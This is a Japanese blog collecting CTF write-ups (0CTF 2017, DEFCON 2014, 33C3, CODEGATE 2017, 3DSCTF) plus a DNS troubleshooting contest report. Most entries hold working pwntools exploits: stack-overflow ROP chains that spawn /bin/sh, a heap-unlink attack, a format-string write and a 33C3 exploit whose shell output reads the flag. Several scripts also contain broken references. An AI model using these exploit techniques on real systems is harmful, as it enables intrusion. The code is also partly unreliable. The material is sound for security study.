ブログ未満のなにか

ブログなのか誰にも分からない

0CTF 2017 Quals pages writeup

はじめに

期間中に解けなかったのが悔しかったので、writeup見ながら解いた。

https://gruss.cc/files/prefetch.pdf
が頭にあれば解けたかもしれない。というか元ネタがこれだと思う。期間中、cacheかTLB関連の何かを使うのかなぁと予想していたが、PREFETCH命令がmappingされていないページに対して実行されるとNOPになることは知らなかった。公式リファレンスにも載ってなかったとはず。有効なページと無効なページでは、実行時間が変わってくるのでRDTSC命令を使って経過クロックを比較してやればいい。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log

RHOST = "202.120.7.198"
RPORT = 13579
LHOST = "127.0.0.1"
LPORT = 13579

# libc = ELF('')
elf = ELF('./pages_d9a22948ada76c76fcd1658457d51b61')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        print "A"
        #conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./pages_d9a22948ada76c76fcd1658457d51b61'], execute=execute)

else:
    conn = process(['./pages_d9a22948ada76c76fcd1658457d51b61'])
    # conn = process(['./pages_d9a22948ada76c76fcd1658457d51b61'], env={'LD_PRELOAD': ''})

# preparing for exploitation
#log.info('Pwning')
shellcode = '''
        
    mov r8, 0x0
    mov r9, 65
    mov r10, 0x0000000200000000
    xor rax, rax
    xor rbx, rbx
    xor rcx, rcx
    xor rdx, rdx

loop:
    mov rax, r8
    shl rax, 13
    add rax, r10
    mov rdi, rax
    call measure
    mov r14, rax

    mov rax, r8
    shl rax, 13
    mov rbx, 0x01
    shl rbx, 12
    add rax, rbx
    add rax, r10
    mov rdi, rax
    call measure
    mov r15, rax

    cmp r14d, r15d
    ja one

zero:
    mov rax, 0x0000000300000000
    add rax, r8
    mov BYTE PTR[rax], 0x00
    jmp hoge
one:
    mov rax, 0x0000000300000000
    add rax, r8
    mov BYTE PTR[rax], 0x01

hoge:
    inc r8
    cmp r8, r9
    je finish
    jmp loop

measure:
    mov rbx, 0x10000 
    rdtsc 
    mov ecx, eax

    measure_loop:
        dec rbx
        test rbx, rbx
        je measure_done
        PREFETCHT0 [rdi]
        jmp measure_loop
    measure_done:
        rdtsc
        sub eax, ecx
        ret

finish:
    ret
'''

payload = asm(shellcode) 
payload = shell.ljust( 0x4000, "\x90")
conn.send(p32(0x4000))
conn.sendline(payload)
conn.interactive()

0CTF 2017 Quals char writeup

はじめに

解けたのが、これだけだった。
他の問題もチームメンバーと話したりしたが、直接の貢献は一切してない(one gadget rceのoffset調べたくらい?)。
単純なので、やるだけだった。

exploit

libcは添付されている。そして、添付のlibcは0x5555e000にマッピングされる。canaryがなく、Stack BOFが起きるので簡単にEIPが奪えて、ROPに持ち込むことができる。ただし、入力できるペイロードはASCIIコードでpritableなものに制限されている。

まずは、使用できるROP gadgetを探した。rp++でROP gadgetをファイルに書き出し、pythonでアドレスがpritableなROP gadgetだけを残した。

% rp++ ./libc.so -r 5 > gadgets
from pwn import *

f = open('./gadgets')
buf  = f.read().split('\n')

libc_base = 0x5555e000
for line in buf:
    if all(c in string.printable for c in p32(libc_base + int(line.split(':')[0][2:], 16))):
        print hex(libc_base + int(line.split(':')[0][2:], 16)), line

あとは、使えそうなgadgetを目で探してROP chainを組むだけ。stagerで良かったが直接execveから/bin/shを起動した。工夫した点としては、/bin/shを指すアドレスをebxにセットすることである。/bin/shを指すアドレスは、下位16bitがpritableにならない。add bl, alとadd bh, ahを使って、上手く/bin/shを指すアドレスとなるように計算した。
以下がexploitで、これでシェルが取れた。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log

RHOST = "202.120.7.214"
RPORT = 23222
LHOST = "127.0.0.1"
LPORT = 23222

# libc = ELF('./libc.so')
elf = ELF('./char')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./char'], execute=execute)
else:
    conn = process(['./char'])
    # conn = process(['./char'], env={'LD_PRELOAD': './libc.so'})

# preparing for exploitation
bufsize = 32
libc_base = 0x5555e000

zero_addr = 0x5557215c          #:     0x00000000
inc_eax = 0x55644263            #0x000e6263: inc eax ; ret  ;  (1 found)
xor_eax = 0x555d2040            #0x00074040: xor eax, eax ; ret  ;  (1 found)
pop_eax_ebx_esi_edi_ebp = 0x5557506b #0x0001706b: pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pop_ecx = 0x556d2a51            # pop    ecx
pop_edx = 0x555f3555            # pop    edx, xor    eax,eaxm pop    edi
mov_edx_0 = 0x555f692d          #0x0009892d: mov edx, dword [edx] ; xor eax, eax ; test edx, edx ; sete al ; rep ret  ;  (1 found)
and_ecx = 0x5566306d #0x0010506d: and ecx, 0xC0000000 ; and edx, 0x000000FF ; cmp ecx, 0x80000000 ; cmovne eax, edx ; ret  ;  (1 found)
add_bh_ah = 0x55634e43          #0x000d6e43: add bh, ah ; ret  ;  (1 found)
add_bl_al = 0x555f643e          #0x0009843e: add bl, al ; xor eax, eax ; ret  ;  (1 found)
int0x80 = 0x55667177            #0x00109177: int 0x80 ;  (1 found)

eax_value = 0x77775070
ebx_value = 0x556b677c

log.info('Pwning')

payload = "A" * bufsize

# ecx = 0
payload += p32(pop_ecx)
payload += p32(0x30303030)
payload += p32(and_ecx)

# edx = 0
payload += p32(pop_edx)
payload += p32(zero_addr)
payload += p32(zero_addr)
payload += p32(mov_edx_0)

# ebx = &'/bin/sh' and eax = 0
payload += p32(pop_eax_ebx_esi_edi_ebp)
payload += p32(eax_value)
payload += p32(ebx_value)
payload += "XXXX" * 3
payload += p32(add_bh_ah)
payload += p32(add_bl_al)

# eax = 11
payload += p32(inc_eax) * 11

# int 0x80
payload += p32(int0x80)

print len(payload)
print payload

conn.recvuntil('GO : )')
conn.sendline(payload)
conn.interactive()

DEFCON 2014 CTF - Baby's First: 1 - heap

はじめに

heap系の問題が良くわからないので、katagaitai CTF勉強会(https://speakerdeck.com/bata_24/katagaitai-ctf-number-1)で取り上げられていた問題を解いてみた。
やっていることはだいたい同じなので、違うところだけを書いていく。

exploit

kataigait CTF勉強会では、printfのGOTを書き換えてeipを奪っていた。exit_funcでも良くね?と思い、exit_funcを書き換える方向でやってみた。
飛ばす先は、チャンクの先頭(?)で、unlinkの際に書きかわる部分は、mov eax, みたいな命令でやりすごしている。
全てのfreeが完了したら、exit_funcから入力したシェルコードが呼ばれてシェルが起動する。

from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log

RHOST = "localhost"
RPORT = 8080
LHOST = "127.0.0.1"
LPORT = 8080

# libc = ELF('')
elf = ELF('./heap')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        #b *{0}
        #b *0x8048afa
        ignore 2 0x0a
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./heap'], execute=execute)
else:
    conn = process(['./heap'])
    # conn = process(['./heap'], env={'LD_PRELOAD': ''})

# preparing for exploitation
bufsize = 260

exit_func = 0x804c8ac
printf_got = 0x804C004

log.info('Pwning')

conn.recvuntil("size=755]\n[ALLOC][loc=")
shellcode_base = int(conn.recv(7), 16)
log.info("{:#x}".format(shellcode_base))
conn.recvuntil('[size=260]:')

payload = "\x90\x90\x90\xb8"
payload += "JUNK"   # overwrite at unlink
payload += asm(shellcraft.sh())
payload += "A" * (bufsize - len(payload))
payload += p32(0x1)
payload += p32(exit_func - 8)
payload += p32(shellcode_base)

conn.sendline(payload)

conn.interactive()

第7回ICTトラブルシューティングコンテスト 感想

はじめに

大学サークルチーム「tuat_mcc」として第7回ICTトラブルシューティングコンテストに参加した。CTFをやっているいつもの3人+期待の後輩2人というチーム構成だった。3月3日土曜日、4日日曜日の2日間に渡って開催され、場所は調布にあるNTTの研修センターだった。


問題は、複数の会社でトラブルが発生し、それを解決したり原因の特定をしたり対策をしたりする感じだった。サーバー系の問題やネットワークの問題など多岐にわたるジャンルから出題されていたらしい。

このポストでは、感想と自分が解けた問題のwriteupを書いていく。writeupを書いていいことは、運営に尋ねたら了承してくれた。

TAB (D社の1問目)

問題文は以下の感じで、サーバのドメインとユーザー名、パスワードも一緒に与えられていた。DNSに関する問題で、自分はDNSを名前解決する何かとしか認識していなかったので、調べながらの挑戦となった。

社内のDNSサーバを構築する際、上司はコンテンツサーバとキャッシュサーバを別にしなければならないというこだわりを見せた。
リソースが足りないため1台のサーバに同居させたところ、正しくフォワードされないようである。
この不具合を修正し、 http://t[チーム番号].p22.ictsc が表示されることを確認してほしい。

サーバーには、コンテンツサーバーとしてNSD、キャッシュサーバーとしてunboundがインストールされていた。2つのサービスはデフォルトで53番ポートを使用する設定になっているため、片方のポートを変えてやる必要があった。NSDを10053番ポート、unboundを53番ポートにして同時に動作できるようにした。しかし、ここでNSDを起動しても落ちてしまっていた。原因はSELinuxで、10053番をDNSで使えるように設定する必要があった。

sudo  semanage port -l  | grep 53
apertus_ldp_port_t             tcp      539
apertus_ldp_port_t             udp      539
dns_port_t                     tcp      53
dns_port_t                     udp      53

下記の手順で、10053番ポートをDNSで使えるようにした。TCPUDPを両方設定したのは念のため。これでNSDを起動しても落ちないようになった。

sudo semanage port -a -t dns_port_t  -p tcp 10053
sudo semanage port -a -t dns_port_t  -p udp 10053


正答条件には、参加者がいるネットワークのブラウザから、http://t[チーム番号].p22.ictsc へアクセスできることが含まれている。t[チーム番号].p22.ictscの名前を解決する情報は、ログインしているサーバーに存在しており、参加者がいるネットワーク内のDNSから、ログインしているサーバへDNSのリクエストが飛んでくる。これに気付かずに1日目を潰してしまい、気づいた2日目の昼にはヒント公開と同時に点数が下げられてしまい痛かった。unboundの設定で、参加者ネットワーク内のDNSから来るリクエストを許可すれば良い。

ここまでしても解決されなかったので、tcpdumpの結果を眺めていたら、より下の階層で弾かれてないか?と気づきiptablesDNSが使用するポートを通過するように設定した。これで無事に名前が解決できて、ブラウザからt[チーム番号].p22.ictscへとアクセスできるようになった。

感想

ICTSCには初めて参加だったが、とても楽しかった。今まで参加したことがないジャンルのコンテストだったので、自分に足りないものを知ることができた。あと、独走していた社会人チームを見て、突き抜けた大人はカッコイイなぁと思った。

それと、どうでもいいことなのだが、一つだけ残念だったことがあった。1日目の昼食時にチームメンバーがハンバーグ弁当を選んでおり、その中には大きなハンバーグが入っていて、とても美味しそうだった。2日目の昼食時、1日目の印象から今日はハンバーグにしようと、ハンバーグ弁当と書かれた札から取った弁当は、1日目のものと違い、ハンバーグが入っているが小さくガッカリした。1日目のものとは違ったがハンバーグは入っているので、よく確認しなかった自分が悪いのだが、あの時はとても残念だった。

CODEGATE 2017 CTF EasyCrack 101

はじめに

101個のバイナリファイルのkeyを当てるだけ。
angr使って解いた。
チーメメンバがcurl使って自動送信するコードを書いてくれたので、途中からは、そのコードを使って分担してた。
そのコードは載せてない。

solve.py

keyはコマンドライン引数にて指定するので、コマンドライン引数を解析対象にするようにしている。
keyの長さは、最初適当に120とかにしていた。その後は解析結果を眺めながら、この程度が妥当だろうという長さに設定し直した。

import angr
import claripy
from pwn import *
import sys

for i in range(1, 102):
    fname = "prob"+str(i)
    binf = open(fname, 'rb').read()
    addr_main       = u32(binf[0x5b0:0x5b4])
    addr_succeeded  = addr_main+0x50
    addr_failed     = addr_main+0x5c

    #key_length = 120
    key_length = 50

    p = angr.Project(fname)
    arg1 = claripy.BVS('arg1', key_length*8)
    com = "./" + fname
    initial_state = p.factory.entry_state(args=[com, arg1], add_options={"BYPASS_UNSUPPORTED_SYSCALL"})

    for b in arg1.chop(key_length):
        initial_state.add_constraints(b != 0)
    pg = p.factory.path_group(initial_state, immutable=False)
    e = pg.explore(find=addr_succeeded, avoid=addr_failed)

    for path in pg.found:
         key = path.state.se.any_str(arg1)
         print fname, repr(key)


1ファイルあたり15秒程度で解析できていた。
ASCIIのprintableな文字がkeyなので、それを送信していた。

% python solve.py
prob1 'T}gTRvNZAK_Exv^vqpDwCW\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'
prob2 '}hGafk~acCtypkaEoi||f}tzsr\x00\x00\x00\x00\x00?\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'
prob3 'ELFT[^MYLINQMI_FQFYKOOZ^U\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'
...

33C3 CTF writeup

はじめに

TokyoWesternsで参加して6位でした。pwnを中心にやってたのですが、解析パートが辛く厳しかった。僕が関わった問題2問のwriteupです。

The 0x90s called (pwn 150)

Linuxカーネルが動作するサーバーにアクセスして、rootでしか読めないflagを読む問題。
途中まで出来たが最後はプロが解いてくれた(圧倒的感謝🙏)。

% nc 78.46.224.70 2323

Welcome to Linux 0.99pl12.

slack login: challenge
Password:challenge

Linux 0.99pl12. (Posix).
No mail.
slack:~$ uname -a
Linux slack 0.99.12 #6 Sun Aug 8 16:02:35 CDT 1993 i586

/etc/passwdを見ると、syncはパスが設定されてない。suコマンドでsyncの権限でコマンド実行することが可能だった(ここまではできた)。rootグループの権限があってもflagは読めないのでもう一捻り必要。

cat /etc/passwd
root::0:0::/:/bin/sh
daemon:x:1:1::/etc:
bin:x:2:2::/bin:
adm:x:4:4::/:
uucp::5:5::/usr/uucp:
sync::255:0:::/bin/sync
anonymous:*:403:1::/home/ftp:/bin/sh
ftp:*:404:1::/home/ftp:/bin/sh
challenge:*:405:1::/home/challenge:

slack:~$ su sync -c 'id'
uid=255(sync) gid=0(root)

プロが/dev/*は、rootグループでreadできることに気づいた./dev/hdaにファイルが書き込まれていることに気づきdone.

su sync -c 'cat /dev/hda'

(skip)
33C3_Th3_0x90s_w3r3_pre3tty_4w3s0m3
(skip)

rec

flagのsubmitはしたが、正直何もしてないごっつぁんゴール。やったことは、rubyで書かれたexploitをpythonに書き直し、libcをリークさせようとしてた。libcのリークは完全に無駄で、オフセットから特定が可能だった。

Signは入力した数値の符号を返す機能で、入力に応じてeaxに関数を設定してcall eaxしている。
0を入力すると、eaxに関数が設定されず、stack上の値がeaxに格納される。
うまいことstackを調整し、呼び出したい関数をstackに積んでから0を入力すればいい。


from pwn import *

def m(u32):
    return -(0xffffffff - u32 + 1)

def send_cmd(num):
    repr(conn.recvuntil('> '))
    conn.sendline(str(num))
    print '< ', num
    return  

def send_addr100(addr): 
    for i in range(100):
        conn.sendline(str(addr)) 

host = '78.46.224.74'
port = 4127

# myabe address so must dump libc 
libc_stdout_offset = 0x1b3d60
libc_system_offset = 0x3b020
libc_binsh_offset = 0x15cbcf
libc_system_offset = 0x0003a8b0

conn = remote(host, port)

# leak some addreses
send_cmd(1)
conn.recvuntil('Your note: ')
recv = conn.recv(16)
print repr(recv)
stack_addr = u32(recv[0:4])
pie_base = u32(recv[4:8]) - 0x6fb
libc_base = u32(recv[8:12]) - libc_stdout_offset 
print '[+] pie_base =', hex(pie_base)
print '[+] libc_base =', hex(libc_base)

send_cmd(2)
conn.recvuntil(': ')
conn.sendline('S')
send_func100(m(libc_base + libc_system_offset))

conn.recvuntil(': ')
conn.sendline(str(m(libc_base + libc_binsh_offset)))
conn.sendline('.')
send_cmd(5)
conn.sendline('0')

conn.interactive()
% python exploit.py 
[+] Opening connection to 78.46.224.74 on port 4127: Done
<  1
'\xb8\xd0\xe5\xff\xfb\x16ZV`\x9dm\xf7\xfe ZV'
[+] pie_base = 0x565a1000
[+] libc_base = 0xf7526000
<  2
<  5
[*] Switching to interactive mode
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ ls
bin
boot
challenge
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ cat /challenge/flag
33C3_L0rd_Nikon_would_l3t_u_1n

おわりに

任意の問題が辛かったのでもっと精進したい。
rev力の無さを痛感したので精進したい。
Firefox exploitationの問題はwriteup読みながらでも解きたい。

The 318br, DESEC, and SucuriHC Capture The Flag (3DSCTF) writeup

はじめに

ソロで参加しました。
時間内に2問解いたけど、参加している間に問題の解放がされなかったので、あとの2問は競技時間外に解きました。
pwnだけしか解いてないので許して。

Get started (pwn 100)

BOFがありリターンアドレスの書き換えが可能であった。
ファイルからflagを読み込み表示する関数がいるので、リターンアドレスをその関数に書き換える。
関数内で引数のチェックがあるので、チェックが通るように引数を設定する。

from pwn import *

get_flag = 0x080489a0

conn = remote('54.175.35.248', 8005)

payload = 'A' * (0x3c - 4)
payload += p32(get_flag)
payload += 'AAAA'
payload += p32(0x308cd64f)
payload += p32(0x195719d1)

conn.sendline(payload)
print conn.recv(1024)

not the same

BOFにてリターンアドレスが書き換えられる。
ファイルからflagを読み出す関数があるが、読み出すだけで出力しない。
flagは固定アドレスに書き込まれるので、printfで出力しておしまい。

from pwn import *

get_flag = 0x080489a0
flag = 0x80eca2d
printf = 0x804f0a0
exit = 0x806d7d1
#payload = 'A' * (0x3c - 4)
payload = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += p32(get_flag)
payload += p32(printf)
payload += 'AAAA'
payload += p32(flag)
conn = remote('54.175.35.248', 8006)
conn = process('not_the_same') 
conn.sendline(payload)
print conn.recv(1024)
from pwn import *

get_flag = 0x080489a0
flag = 0x80eca2d
printf = 0x804f0a0
exit = 0x806d7d1

#payload = 'A' * (0x3c - 4)
payload += p32(get_flag)
payload += p32(printf)
payload += 'AAAA'
payload += p32(flag)

conn = remote('54.175.35.248', 8006)
conn.sendline(payload)
print conn.recv(1024)

### 3DS{b0f_pr4_c0m3c4r_n3}

Please no (pwn300)

BOFでリターンアドレスの書き換えが可能。
ファイルをオープンし、その中身を出力している関数があるが、肝心のファイル名がbss領域に存在するが、空となっている。
アセンブルした結果を眺めていると、ファイル名に該当するアドレスへとstrcatしている関数が複数存在する。
連結される文字列を組み合わせて、妥当そうな文字列を構成してからファイルの中身を出力させる関数を実行させるようにした。

from pwn import *

host = '209.190.1.131'
port = 9003
file_name = 'please-no'


mflag_addr = 0x8048690
text_addr = 0x8048650
flag_addr = 0x8048590
pop3_ret_addr = 0x8048789


'''
mflag
 8048690:       83 ec 1c                sub    esp,0x1c
 8048693:       81 7c 24 20 41 0c 0b    cmp    DWORD PTR [esp+0x20],0x1b0b0c41
 804869a:       1b 
 804869b:       75 2d                   jne    80486ca <fgetc@plt+0x26a>
 804869d:       81 7c 24 24 4e 37 13    cmp    DWORD PTR [esp+0x24],0xae13374e
 80486a4:       ae 

 80486a5:       75 23                   jne    80486ca <fgetc@plt+0x26a>
 80486a7:       c7 44 24 16 6d 66 6c    mov    DWORD PTR [esp+0x16],0x616c666d
 80486ae:       61 
 80486af:       66 c7 44 24 1a 67 00    mov    WORD PTR [esp+0x1a],0x67


# .text
 8048650:       83 ec 1c                sub    esp,0x1c
 8048653:       81 7c 24 20 37 13 b0    cmp    DWORD PTR [esp+0x20],0xb0b01337
 804865a:       b0 
 804865b:       75 23                   jne    8048680 <fgetc@plt+0x220>
 804865d:       c7 44 24 16 2e 74 65    mov    DWORD PTR [esp+0x16],0x7865742e
 8048664:       78 
 8048665:       66 c7 44 24 1a 74 00    mov    WORD PTR [esp+0x1a],0x74
'''

elf = ELF(file_name)

if len(sys.argv) == 2:
    conn = remote(host, port)
else:
    conn = process(file_name)


payload = 'A' * 20
payload += p32(mflag_addr)
payload += p32(pop3_ret_addr)
payload += p32(0x1b0b0c41)
payload += p32(0xae13374e)
payload += 'AAAA'

payload += p32(text_addr)
payload += p32(pr)
payload += p32(0xb0b01337)
payload += 'AAAA'
payload += 'AAAA'
payload += p32(flag_addr)
payload += p32(0x8048420)
conn.sendline(payload)
print repr(conn.recv(1024))
conn.close()

### 3DS{n0_symb0l5_w1th_R0P_15_p41nful_r1ght}

echoindiapapa (pwn 400)

FSB
0x601080が0x180であればwin関数が呼ばれ、flagを得ることができる。
スタック上に、このアドレスが積まれており、そのオフセットは10であった。

from pwn import *
host = '209.190.1.131'
port = 9005

string_addr = 0x601080
main_addr = 0x400750
if len(sys.argv) == 2:
    conn = remote(host, port)
else:
    conn = process(file_name)

conn.recvuntil('name?')
payload = '%384c%10$n'
conn.sendline(payload)
print repr(conn.recv(1024))
print repr(conn.recv(1024))

### 3DS{FS4_1s_4_b1t_und3r5t1m4t3d}

おわりに

息抜きちょうどよかった。